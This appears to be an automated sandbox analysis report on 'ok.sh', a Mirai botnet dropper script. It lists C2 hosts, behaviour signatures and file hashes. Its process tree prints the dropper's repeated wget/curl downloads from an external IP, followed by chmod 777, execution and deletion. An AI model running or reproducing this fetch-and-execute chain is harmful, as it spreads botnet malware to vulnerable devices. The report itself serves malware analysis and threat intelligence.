Analysis

  • max time kernel
    139s
  • max time network
    141s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/08/2026, 09:27

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260828-levmkawbqf
  • SHA256 8c570d090576cf05a6813c28574b2cf210de8054f7fa4cacd67428718348d143
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Extracted

Family
  • mirai

C2
  • kappadocia.net

  • 141.98.10.50

Extracted

Family
  • mirai

C2
  • kappadocia.net

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 48 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:641
    • /usr/bin/wget
      wget http://5.182.210.174/2a8929
      2⤵
      • Writes file to tmp directory
      PID:647
    • /usr/bin/curl
      curl -O http://5.182.210.174/2a8929
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:664
    • /bin/chmod
      chmod 777 2a8929
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/2a8929
      ./2a8929 bc
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:672
    • /bin/rm
      rm -rf 2a8929
      2⤵
        PID:674
      • /bin/rm
        rm -rf 2a8929.1
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://5.182.210.174/7abe1f
          2⤵
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://5.182.210.174/7abe1f
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 7abe1f
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/7abe1f
          ./7abe1f bc
          2⤵
            PID:682
          • /bin/rm
            rm -rf 7abe1f
            2⤵
              PID:684
            • /bin/rm
              rm -rf 7abe1f.1
              2⤵
                PID:685
              • /usr/bin/wget
                wget http://5.182.210.174/6d1efa
                2⤵
                • Writes file to tmp directory
                PID:686
              • /usr/bin/curl
                curl -O http://5.182.210.174/6d1efa
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:687
              • /bin/chmod
                chmod 777 6d1efa
                2⤵
                • File and Directory Permissions Modification
                PID:688
              • /tmp/6d1efa
                ./6d1efa bc
                2⤵
                  PID:689
                • /bin/rm
                  rm -rf 6d1efa
                  2⤵
                    PID:691
                  • /bin/rm
                    rm -rf 6d1efa.1
                    2⤵
                      PID:692
                    • /usr/bin/wget
                      wget http://5.182.210.174/a955e6
                      2⤵
                      • Writes file to tmp directory
                      PID:693
                    • /usr/bin/curl
                      curl -O http://5.182.210.174/a955e6
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:694
                    • /bin/chmod
                      chmod 777 a955e6
                      2⤵
                      • File and Directory Permissions Modification
                      PID:697
                    • /tmp/a955e6
                      ./a955e6 bc
                      2⤵
                        PID:699
                      • /bin/rm
                        rm -rf a955e6
                        2⤵
                          PID:700
                        • /bin/rm
                          rm -rf a955e6.1
                          2⤵
                            PID:702
                          • /usr/bin/wget
                            wget http://5.182.210.174/39f631
                            2⤵
                            • Writes file to tmp directory
                            PID:703
                          • /usr/bin/curl
                            curl -O http://5.182.210.174/39f631
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:710
                          • /bin/chmod
                            chmod 777 39f631
                            2⤵
                            • File and Directory Permissions Modification
                            PID:717
                          • /tmp/39f631
                            ./39f631 bc
                            2⤵
                              PID:718
                            • /bin/rm
                              rm -rf 39f631
                              2⤵
                                PID:721
                              • /bin/rm
                                rm -rf 39f631.1
                                2⤵
                                  PID:723
                                • /usr/bin/wget
                                  wget http://5.182.210.174/680069
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:724
                                • /usr/bin/curl
                                  curl -O http://5.182.210.174/680069
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:732
                                • /bin/chmod
                                  chmod 777 680069
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:740
                                • /tmp/680069
                                  ./680069 bc
                                  2⤵
                                    PID:741
                                  • /bin/rm
                                    rm -rf 680069
                                    2⤵
                                      PID:744
                                    • /bin/rm
                                      rm -rf 680069.1
                                      2⤵
                                        PID:746
                                      • /usr/bin/wget
                                        wget http://5.182.210.174/62d5d2
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:748
                                      • /usr/bin/curl
                                        curl -O http://5.182.210.174/62d5d2
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:756
                                      • /bin/chmod
                                        chmod 777 62d5d2
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:760
                                      • /tmp/62d5d2
                                        ./62d5d2 bc
                                        2⤵
                                          PID:761
                                        • /bin/rm
                                          rm -rf 62d5d2
                                          2⤵
                                            PID:763
                                          • /bin/rm
                                            rm -rf 62d5d2.1
                                            2⤵
                                              PID:764
                                            • /usr/bin/wget
                                              wget http://5.182.210.174/61af08
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:765
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.174/61af08
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:766
                                            • /bin/chmod
                                              chmod 777 61af08
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:767
                                            • /tmp/61af08
                                              ./61af08 bc
                                              2⤵
                                                PID:768
                                              • /bin/rm
                                                rm -rf 61af08
                                                2⤵
                                                  PID:769
                                                • /bin/rm
                                                  rm -rf 61af08.1
                                                  2⤵
                                                    PID:770
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.174/336ed4
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:771
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.174/336ed4
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:772
                                                  • /bin/chmod
                                                    chmod 777 336ed4
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:773
                                                  • /tmp/336ed4
                                                    ./336ed4 bc
                                                    2⤵
                                                      PID:774
                                                    • /bin/rm
                                                      rm -rf 336ed4
                                                      2⤵
                                                        PID:776
                                                      • /bin/rm
                                                        rm -rf 336ed4.1
                                                        2⤵
                                                          PID:777
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.174/fdc63b
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:778
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.174/fdc63b
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:779
                                                        • /bin/chmod
                                                          chmod 777 fdc63b
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:786
                                                        • /tmp/fdc63b
                                                          ./fdc63b bc
                                                          2⤵
                                                            PID:787
                                                          • /bin/rm
                                                            rm -rf fdc63b
                                                            2⤵
                                                              PID:791
                                                            • /bin/rm
                                                              rm -rf fdc63b.1
                                                              2⤵
                                                                PID:793
                                                              • /usr/bin/wget
                                                                wget http://5.182.210.174/722b39
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:794
                                                              • /usr/bin/curl
                                                                curl -O http://5.182.210.174/722b39
                                                                2⤵
                                                                • Checks CPU configuration
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:800
                                                              • /bin/chmod
                                                                chmod 777 722b39
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:808
                                                              • /tmp/722b39
                                                                ./722b39 bc
                                                                2⤵
                                                                • Modifies Watchdog functionality
                                                                • Enumerates active TCP sockets
                                                                • Changes its process name
                                                                • Reads system network configuration
                                                                • Reads runtime system information
                                                                PID:809
                                                              • /bin/rm
                                                                rm -rf 722b39
                                                                2⤵
                                                                  PID:811
                                                                • /bin/rm
                                                                  rm -rf 722b39.1
                                                                  2⤵
                                                                    PID:815
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.174/407622
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:817
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.174/407622
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:822
                                                                  • /bin/chmod
                                                                    chmod 777 407622
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:827
                                                                  • /tmp/407622
                                                                    ./407622 bc
                                                                    2⤵
                                                                      PID:828
                                                                    • /bin/rm
                                                                      rm -rf 407622
                                                                      2⤵
                                                                        PID:830
                                                                      • /bin/rm
                                                                        rm -rf 407622.1
                                                                        2⤵
                                                                          PID:831

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            2a8929

                                                                            • Path /tmp/2a8929
                                                                            • Size 51KB
                                                                            • SHA256 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            336ed4

                                                                            • Path /tmp/336ed4
                                                                            • Size 53KB
                                                                            • SHA256 abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            39f631

                                                                            • Path /tmp/39f631
                                                                            • Size 67KB
                                                                            • SHA256 a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            407622

                                                                            • Path /tmp/407622
                                                                            • Size 48KB
                                                                            • SHA256 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            61af08

                                                                            • Path /tmp/61af08
                                                                            • Size 43KB
                                                                            • SHA256 b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            62d5d2

                                                                            • Path /tmp/62d5d2
                                                                            • Size 49KB
                                                                            • SHA256 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            680069

                                                                            • Path /tmp/680069
                                                                            • Size 45KB
                                                                            • SHA256 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            6d1efa

                                                                            • Path /tmp/6d1efa
                                                                            • Size 44KB
                                                                            • SHA256 9c719ba3b1cd4a8cf820c5eaea04aae7d0188da53e75f18f9c04c1fbbd3cc97e
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            722b39

                                                                            • Path /tmp/722b39
                                                                            • Size 120KB
                                                                            • SHA256 383819dd8c7df6077d193ace66715d7b3e5d82e0de0ad87ef8a783965786d606
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            7abe1f

                                                                            • Path /tmp/7abe1f
                                                                            • Size 65KB
                                                                            • SHA256 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a955e6

                                                                            • Path /tmp/a955e6
                                                                            • Size 61KB
                                                                            • SHA256 3b2f2f02077aee3efe6dcca1bb84afc59af14fff78d1b6dd18aed0c24e08a313
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            fdc63b

                                                                            • Path /tmp/fdc63b
                                                                            • Size 49KB
                                                                            • SHA256 bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH